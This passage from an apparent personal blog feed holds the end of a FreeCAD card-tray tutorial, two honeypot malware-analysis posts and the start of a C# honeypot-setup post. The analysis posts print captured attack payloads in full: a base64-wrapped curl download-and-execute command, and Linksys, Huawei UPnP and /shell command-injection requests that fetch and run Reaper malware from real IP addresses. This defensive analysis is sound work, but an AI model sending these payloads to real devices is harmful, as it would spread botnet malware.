&lt;p&gt;This project has been created in FreeCAD 0.21.1, and should be compatible with all version grater than 0.21.0
FreeCAD is an open source 3D parametric modeler, you can download it from &lt;a href=&quot;https://www.freecad.org/&quot;&gt;freecad.org&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;how-to-configure&quot;&gt;How to configure&lt;/h3&gt;
&lt;hr /&gt;

&lt;p&gt;The FreeCAD project contains a spreadsheet that can be used to modify the tray model, you can find the spreadsheet in the project tree
&lt;a href=&quot;/assets/img/uni-tray-project/startup.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-tray-project/startup.png&quot; alt=&quot;startup&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Double clicking on the spreadsheet will open it in a new page:
&lt;a href=&quot;/assets/img/uni-tray-project/spreadsheet.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-tray-project/spreadsheet.png&quot; alt=&quot;Project Spreadsheet&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The spreadsheet contains 7 variables that can be adjusted to modify the model:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CardHeight&lt;/code&gt;: height of the card that the tray is going to hold (make 2-3mm larger than the cards height to avoid a tight fit)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CardWidth&lt;/code&gt;: width of the card that the tray is going to hold (make 2-3mm larger than the cards width to avoid tight fit)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WallThickness&lt;/code&gt;: Thickness of the wall that surrounds the cards&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WallHeight&lt;/code&gt;: height of the wall that surrounds the cards (note base is 3mm)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Radius&lt;/code&gt;: radius size on the outside edges of the tray, if you don’t want rounded edges set this to a small number e.g. 0.00001mm (Don’t set to 0mm this will cause FreeCAD to fail to compute the model)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Fillet&lt;/code&gt;: fillet size on the inside edges of the tray, if you don’t want rounded edges set this to a small number e.g. 0.00001mm (Don’t set to 0mm this will cause FreeCAD to fail to compute the model)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TrayCount&lt;/code&gt;: Number of trays that will be on the model&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/uni-tray-project/drawing.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-tray-project/drawing.png&quot; alt=&quot;Project Drawing&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TrayCount&lt;/code&gt; can be used to create a model with n number of trays in it (image with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TrayCount = 4&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/uni-tray-project/tray-count.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-tray-project/tray-count.png&quot; alt=&quot;Tray Count 4&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;exporting-for-3d-printing&quot;&gt;Exporting for 3D printing&lt;/h3&gt;
&lt;p&gt;To export the tray model for 3D printing, select &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Body&lt;/code&gt; from the project tree, if the Body is not selected then FreeCAD wont export mesh information.
&lt;a href=&quot;/assets/img/uni-tray-project/select-body.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-tray-project/select-body.png&quot; alt=&quot;Select Body&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Click File Export&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/uni-tray-project/file-export.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-tray-project/file-export.png&quot; alt=&quot;File Export menu&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Set the file type as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;STL Mesh (*.stl *.ast)&lt;/code&gt; in the export file window 
&lt;a href=&quot;/assets/img/uni-tray-project/file-save.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-tray-project/file-save.png&quot; alt=&quot;File Export dialog&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;issues-and-limitations&quot;&gt;Issues and limitations&lt;/h3&gt;
&lt;hr /&gt;
&lt;p&gt;Sometimes FreeCAD fails to recompute the model if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CardWidth&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CardHeight&lt;/code&gt; values are increased or decreased by large values e.g. 40mm to 100mm in one change. To avoid this try changing the values in small steps (10mm at a time) this helps FreeCAD to recompute the model correctly.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/uni-tray-project/compute-fail.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-tray-project/compute-fail.png&quot; alt=&quot;Compute Fail&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;FreeCAD will fail to compute the model if Radius or Fillet values are 0mm. If you want to remove the Radius or fillet, set their values to a small number (e.g. 0.0001mm)&lt;/p&gt;</content><author><name></name></author><category term="Projects" /><category term="FreeCAD" /><category term="3d-printng" /><category term="things-to-make" /><summary type="html">Tutorial for Universal card tray project that you can find on my thingiverse page</summary></entry><entry><title type="html">Masked sh command</title><link href="/malware/2022/10/02/masked-sh-command.html" rel="alternate" type="text/html" title="Masked sh command" /><published>2022-10-02T18:25:33+01:00</published><updated>2022-10-02T18:25:33+01:00</updated><id>/malware/2022/10/02/masked-sh-command</id><content type="html" xml:base="/malware/2022/10/02/masked-sh-command.html">&lt;p&gt;The honey pot picked up an interesting request:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;16:29:23.246 Handling POST to / request from ***.**.***.*
&amp;gt;&amp;gt;&amp;gt;Headers: honey-pot-ip:8080 Keep-Alive Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 application/x-www-form-urlencoded 179 
&amp;gt;&amp;gt;&amp;gt;Body: doAs=&quot;echo Y2QgL3RtcCB8fCBjZCAvbW50IHx8ICBjZCAvcm9vdCB8fCBjZCAvOyBjdXJsIC1PIGh0dHA6Ly8xNzYuNjUuMTM3LjUvemVyby5zaDsgY2htb2QgNzc3IHplcm8uc2g7IHNoIHplcm8uc2ggJg== | base64 -d | bash&quot;
16:29:23.246 completed response status 200
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The requests body is using echo to pipe text encoded in &lt;a href=&quot;https://en.wikipedia.org/wiki/Base64&quot;&gt;base64&lt;/a&gt; into &lt;a href=&quot;https://www.gnu.org/software/coreutils/base64&quot;&gt;GNU base64 decoder&lt;/a&gt; to decode it, the decoded out put is then piped into bash (causing bash to execute the decoded text)&lt;/p&gt;

&lt;p&gt;If we use GNU base64 to decode the text we get the following:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /tmp &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /mnt &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;  &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /root &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; curl &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; http://176.65.137.5/zero.sh&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chmod &lt;/span&gt;777 zero.sh&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; sh zero.sh &amp;amp;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We can see the decoded text is very similar to attacks we have seen before.&lt;/p&gt;

&lt;p&gt;The first part &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd /tmp || cd /mnt ||  cd /root || cd /&lt;/code&gt; attempts to change the current directory.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;||&lt;/code&gt; is bash or command, if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd /tmp&lt;/code&gt; fails then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd /mnt&lt;/code&gt; is run if that fails then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd /root&lt;/code&gt; is run etc.&lt;/p&gt;

&lt;p&gt;The next part of the command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl -O http://176.65.137.5/zero.sh; chmod 777 zero.sh; sh zero.sh&lt;/code&gt; attempts to download a sh script and execute it. Unfortunately (though probably for the best) if we use curl to retrieve &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://176.65.137.5/zero.sh&lt;/code&gt; we get 403 Forbidden.&lt;/p&gt;

&lt;p&gt;We can only assume that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zero.sh&lt;/code&gt; would have done what we have seen before and downloaded and run malware to the device.&lt;/p&gt;

&lt;p&gt;Its curious why does this attack encode the command in base64, could it be doing this to attempting to bypass firewall/anti-malware software?&lt;/p&gt;</content><author><name></name></author><category term="malware" /><category term="malware" /><category term="reverse-engineering" /><category term="honey-pot" /><category term="ghidra" /><summary type="html">The honey pot picked up an interesting request: 16:29:23.246 Handling POST to / request from ***.**.***.* &amp;gt;&amp;gt;&amp;gt;Headers: honey-pot-ip:8080 Keep-Alive Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 application/x-www-form-urlencoded 179 &amp;gt;&amp;gt;&amp;gt;Body: doAs=&quot;echo Y2QgL3RtcCB8fCBjZCAvbW50IHx8ICBjZCAvcm9vdCB8fCBjZCAvOyBjdXJsIC1PIGh0dHA6Ly8xNzYuNjUuMTM3LjUvemVyby5zaDsgY2htb2QgNzc3IHplcm8uc2g7IHNoIHplcm8uc2ggJg== | base64 -d | bash&quot; 16:29:23.246 completed response status 200 The requests body is using echo to pipe text encoded in base64 into GNU base64 decoder to decode it, the decoded out put is then piped into bash (causing bash to execute the decoded text)</summary></entry><entry><title type="html">Reverse Engineering Mirai/Reaper Malware</title><link href="/malware/2022/07/20/reverse-engineering-reaper-malware.html" rel="alternate" type="text/html" title="Reverse Engineering Mirai/Reaper Malware" /><published>2022-07-20T18:25:33+01:00</published><updated>2022-07-20T18:25:33+01:00</updated><id>/malware/2022/07/20/reverse-engineering-reaper-malware</id><content type="html" xml:base="/malware/2022/07/20/reverse-engineering-reaper-malware.html">&lt;p&gt;In my previous post, I showed how I set up a honey pot to capture HTTP requests coming to my IP address. Some of the requests where bots attempting to exploit vulnerabilities in order to gain access to devices and services, one of these requests attempted to inject shell commands to download and run a malware.&lt;/p&gt;

&lt;p&gt;I download &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reap.mpsl&lt;/code&gt; using &lt;a href=&quot;http://www.curl.se&quot;&gt;curl&lt;/a&gt; so we can have a close look at what the attackers are trying to infect the honey pot with.&lt;/p&gt;

&lt;p&gt;Uploading &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reap.mpsl&lt;/code&gt; to virustotal we can see that it has been &lt;a href=&quot;https://www.virustotal.com/gui/file/5b8900204cb3e3608d48a6c5cd77c58ebf43246dece0c6edf662dfa65ad8348b&quot;&gt;registered&lt;/a&gt; as a Mirai/Reaper Malware by several antivirus application, first submitted to virustotal on 2022-06-28&lt;/p&gt;

&lt;h3 id=&quot;analysing-with-ghidra&quot;&gt;Analysing with Ghidra&lt;/h3&gt;
&lt;hr /&gt;
&lt;p&gt;By using &lt;a href=&quot;https://ghidra-sre.org/&quot;&gt;Ghidra&lt;/a&gt; we can disassemble and analyse the malware executable and see if it will reveal any secrets. Looking at Ghidras initial analysis we can see it is a 32bit MIPS executable&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/reveng-reaper/about-reaper.png&quot;&gt;&lt;img src=&quot;/assets/img/reveng-reaper/about-reaper.png&quot; alt=&quot;About Reaper&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&quot;strings&quot;&gt;Strings&lt;/h4&gt;
&lt;hr /&gt;
&lt;p&gt;The first thing we are going to look at are the text strings that are compiled into the executable, plain text strings give us a easy look into what the exe is doing and what resources it may attempt to use.&lt;br /&gt;
To do this in click &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Search -&amp;gt; For Strings...&lt;/code&gt; in the top menu bar, Ghidra will then search the exe for strings and dispaly them.\&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/reveng-reaper/strings.png&quot;&gt;&lt;img src=&quot;/assets/img/reveng-reaper/strings.png&quot; alt=&quot;Reaper Strings&quot; /&gt;&lt;/a&gt;\&lt;/p&gt;

&lt;p&gt;Straight away we can see a string that was probably used to attack our honey pot, the highlighted string in the list starts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST /tmUnblock.cgi&lt;/code&gt; looking at the my previous post we can see that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmUnblock.cgi&lt;/code&gt; was the endpoint the malware was attempt to exploit. Directly below this string we can see what looks like another &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; request, this time to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/ctrlt/DeviceUpgrade_1&lt;/code&gt; and further down there is a third that looks like a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/shell&lt;/code&gt; with shell commands.&lt;br /&gt;
Next I will extract the strings that look like HTTP attacks so we can have a closer look at what they are trying to do.&lt;/p&gt;

&lt;h5 id=&quot;attack-1-hit-our-honey-pot&quot;&gt;Attack 1 (hit our honey pot)&lt;/h5&gt;
&lt;hr /&gt;
&lt;p&gt;Extracting the first suspicious string from Ghidra we can see it contains the following:\&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“POST /tmUnblock.cgi HTTP/1.1\r\nHost: 91.218.67.131:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: python-requests/2.20.0\r\nContent-Length: 227\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+mpsl%3B+wget+http%3A%2F%2F91.218.67.131%2Freaper%2Freap.mpsl%3B+chmod+777+reap.mpsl%3B+.%2Freap.mpsl+Reaper.linksys%60&amp;amp;action=&amp;amp;ttcp_num=2&amp;amp;ttcp_size=2&amp;amp;submit_button=&amp;amp;change_action=&amp;amp;commit=0&amp;amp;StartEPI=1”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Tiding it up to make it easier to read:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“POST /tmUnblock.cgi HTTP/1.1  Host: 91.218.67.131:80  Connection: keep-alive  Accept-Encoding: gzip, deflate  Accept: /  User-Agent: python-requests/2.20.0  Content-Length: 227  Content-Type: application/x-www-form-urlencoded ttcp_ip=-h+&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd+/tmp;+rm+-rf+mpsl;+wget+http://91.218.67.131/reaper/reap.mpsl;+chmod+777+reap.mpsl;+./reap.mpsl+Reaper.linksys&lt;/code&gt;&amp;amp;action=&amp;amp;ttcp_num=2&amp;amp;ttcp_size=2&amp;amp;submit_button=&amp;amp;change_action=&amp;amp;commit=0&amp;amp;StartEPI=1”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We can see that this string contains exactly what was picked up with the honey pot from one of the suspicious request, this is a good indication that it was this Malware exe that made the request. (possibly running on someones infected device)&lt;/p&gt;

&lt;h5 id=&quot;attack-2-post-to-ctrltdeviceupgrade_1&quot;&gt;Attack 2 (POST to /ctrlt/DeviceUpgrade_1)&lt;/h5&gt;
&lt;hr /&gt;
&lt;p&gt;Extracting the second suspicious string we see it contains the following:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;POST /ctrlt/DeviceUpgrade_1 HTTP/1.1  Content-Length: 430  Connection: keep-alive  Accept: &lt;em&gt;/&lt;/em&gt;  Authorization: Digest username=&quot;dslf-config&quot;, realm=&quot;HuaweiHomeGateway&quot;, nonce=&quot;88645cefb1f9ede0e336e3569d75ee30&quot;, uri=&quot;/ctrlt/DeviceUpgrade_1&quot;, response=&quot;3612f843a42db38f48f59d2a3597e19c&quot;, algorithm=&quot;MD5&quot;, qop=&quot;auth&quot;, nc=00000001, cnonce=&quot;248d1a2560100669&quot;    &amp;lt;?xml version=&quot;1.0&quot; ?&amp;gt;&amp;lt;s:Envelope xmlns:s=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; s:encodingStyle=&quot;http://schemas.xmlsoap.org/soap/encoding/&quot;&amp;gt;&lt;s:Body&gt;&amp;lt;u:Upgrade xmlns:u=\&quot;urn:schemas-upnp-org:service:WANPPPConnection:1\&quot;&amp;gt;&lt;NewStatusURL&gt;$(busybox wget -g 91.218.67.131 -l /tmp/bigH -r /reaper/reap.mips;chmod 777 /tmp/bigH;/tmp/bigH huawei.rep.mips;rm -rf /tmp/bigH)&lt;/NewStatusURL&gt;&lt;NewDownloadURL&gt;$(echo HUAWEIUPNP)&lt;/NewDownloadURL&gt;&amp;lt;/u:Upgrade&amp;gt;&lt;/s:Body&gt;&amp;lt;/s:Envelope&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This attack appears to contain a &lt;a href=&quot;https://en.wikipedia.org/wiki/Digest_access_authentication&quot;&gt;Digest access authentication&lt;/a&gt; header using the username “dslf-config” this suggests that the Malware is attempting to exploit default username/password that could be on the device.&lt;/p&gt;

&lt;p&gt;The body of this attack contains the following XML payload:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=\&quot;1.0\&quot; ?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;s:Envelope&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;xmlns:s=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;\&quot;http://schemas.xmlsoap.org/soap/envelope/\&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;s:encodingStyle=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;\&quot;http://schemas.xmlsoap.org/soap/encoding/\&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;s:Body&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;u:Upgrade&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;xmlns:u=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;\&quot;urn:schemas-upnp-org:service:WANPPPConnection:1\&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;&amp;lt;NewStatusURL&amp;gt;&lt;/span&gt;$(busybox wget -g 91.218.67.131 -l /tmp/bigH -r /reaper/reap.mips;chmod 777 /tmp/bigH;/tmp/bigH huawei.rep.mips;rm -rf /tmp/bigH)&lt;span class=&quot;nt&quot;&gt;&amp;lt;/NewStatusURL&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;&amp;lt;NewDownloadURL&amp;gt;&lt;/span&gt;$(echo HUAWEIUPNP)&lt;span class=&quot;nt&quot;&gt;&amp;lt;/NewDownloadURL&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/u:Upgrade&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/s:Body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/s:Envelope&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The XML data is likely used in a upgrade process which will cause the device to download and run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reap.mips&lt;/code&gt;&lt;/p&gt;

&lt;h5 id=&quot;attack-3-get-to-shell&quot;&gt;Attack 3 (GET to /shell)&lt;/h5&gt;
&lt;hr /&gt;
&lt;p&gt;Extracting the third suspicious string we see it contains the following:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;GET /shell?cd+/tmp;rm+-rf+&lt;em&gt;;wget+ 91.218.67.131/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4 HTTP/1.1  User-Agent: Hello, world  Host: 127.0.0.1:80  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,&lt;/em&gt;/*;q=0.8  Connection: keep-alive&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This attack is performing a &lt;a href=&quot;https://reqbin.com/Article/HttpGet&quot;&gt;HTTP GET&lt;/a&gt; command to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/shell&lt;/code&gt; with the following parameter 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd+/tmp;rm+-rf+*;wget+ 91.218.67.131/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4&lt;/code&gt;
Again, this command will download and run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reap.arm4&lt;/code&gt;, which is the same malware as seen before but complied to run on arm4 processors.&lt;/p&gt;</content><author><name></name></author><category term="malware" /><category term="malware" /><category term="reverse-engineering" /><category term="honey-pot" /><category term="ghidra" /><summary type="html">In my previous post, I showed how I set up a honey pot to capture HTTP requests coming to my IP address. Some of the requests where bots attempting to exploit vulnerabilities in order to gain access to devices and services, one of these requests attempted to inject shell commands to download and run a malware.</summary></entry><entry><title type="html">Setting up a basic honey pot</title><link href="/honey-pot/2022/07/19/creating-a-honey-pot.html" rel="alternate" type="text/html" title="Setting up a basic honey pot" /><published>2022-07-19T17:25:33+01:00</published><updated>2022-07-19T17:25:33+01:00</updated><id>/honey-pot/2022/07/19/creating-a-honey-pot</id><content type="html" xml:base="/honey-pot/2022/07/19/creating-a-honey-pot.html">&lt;p&gt;When playing around with a C# web app library, I noticed the web app I was writing would periodically get random (and sometimes strange) requests from unknown sources, so I thought it would be fun to set up a honey pot and record the requests.&lt;/p&gt;

&lt;h3 id=&quot;setting-up-the-honey-pot&quot;&gt;Setting up the honey pot&lt;/h3&gt;
&lt;hr /&gt;
&lt;p&gt;The honey pot is written in mono C# running in a Debian VM, for this first test listening to port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8080&lt;/code&gt;. The honey pot is set up to accept all &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods&quot;&gt;HTTP Requests&lt;/a&gt; and will record the requests head and body, initially I have set it up to respond HTTP 200 Ok with the text “Hello &lt;em&gt;requests ip address&lt;/em&gt;”&lt;/p&gt;

&lt;h3 id=&quot;the-honey-pot-code&quot;&gt;The Honey Pot Code&lt;/h3&gt;
&lt;hr /&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c#&quot; data-lang=&quot;c#&quot;&gt;&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;System.Text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;NanoWebApp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;HoneyPot&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;HoneyPotEndPoint&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NanoEndPoint&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;override&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Response&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;HandleGet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Request&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Response&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

            &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetBody&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

            &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Count&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;++)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
